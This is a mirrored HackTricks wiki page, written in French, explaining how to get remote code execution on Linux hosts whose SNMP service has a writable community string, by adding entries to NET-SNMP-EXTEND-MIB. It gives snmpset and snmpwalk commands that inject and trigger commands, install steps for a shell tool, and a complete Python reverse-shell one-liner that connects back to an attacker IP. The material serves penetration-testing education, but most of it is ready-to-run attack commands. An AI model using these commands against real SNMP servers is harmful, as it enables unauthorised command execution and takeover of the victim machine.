mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
48 lines
3.1 KiB
Markdown
48 lines
3.1 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# SNMP RCE
|
|
|
|
SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le dispositif ou le serveur. En **abusant de la communauté SNMP avec des permissions d'écriture (rwcommunity)** sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur.
|
|
|
|
## Étendre les services avec des commandes supplémentaires
|
|
|
|
Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles **lignes à la table "nsExtendObjects"**. Cela peut être réalisé en utilisant la commande `snmpset` et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
## Injection de commandes pour exécution
|
|
|
|
Injecter des commandes à exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le **`NET-SNMP-EXTEND-MIB`** impose de fournir le chemin absolu vers l'exécutable.
|
|
|
|
Pour confirmer l'exécution de la commande injectée, la commande `snmpwalk` peut être utilisée pour énumérer le service SNMP. **La sortie affichera la commande et ses détails associés**, y compris le chemin absolu :
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
## Exécution des Commandes Injectées
|
|
|
|
Lorsque la **commande injectée est lue, elle est exécutée**. Ce comportement est connu sous le nom de **`run-on-read()`**. L'exécution de la commande peut être observée lors de la lecture avec snmpwalk.
|
|
|
|
### Obtention d'un Shell Serveur avec SNMP
|
|
|
|
Pour prendre le contrôle du serveur et obtenir un shell serveur, un script python développé par mxrch peut être utilisé depuis [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
|
|
|
Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé à la machine de l'attaquant, permettant le contrôle de la machine de la victime. Vous pouvez installer les prérequis pour exécuter cela :
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
Ou un shell inversé :
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
## Références
|
|
|
|
- [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|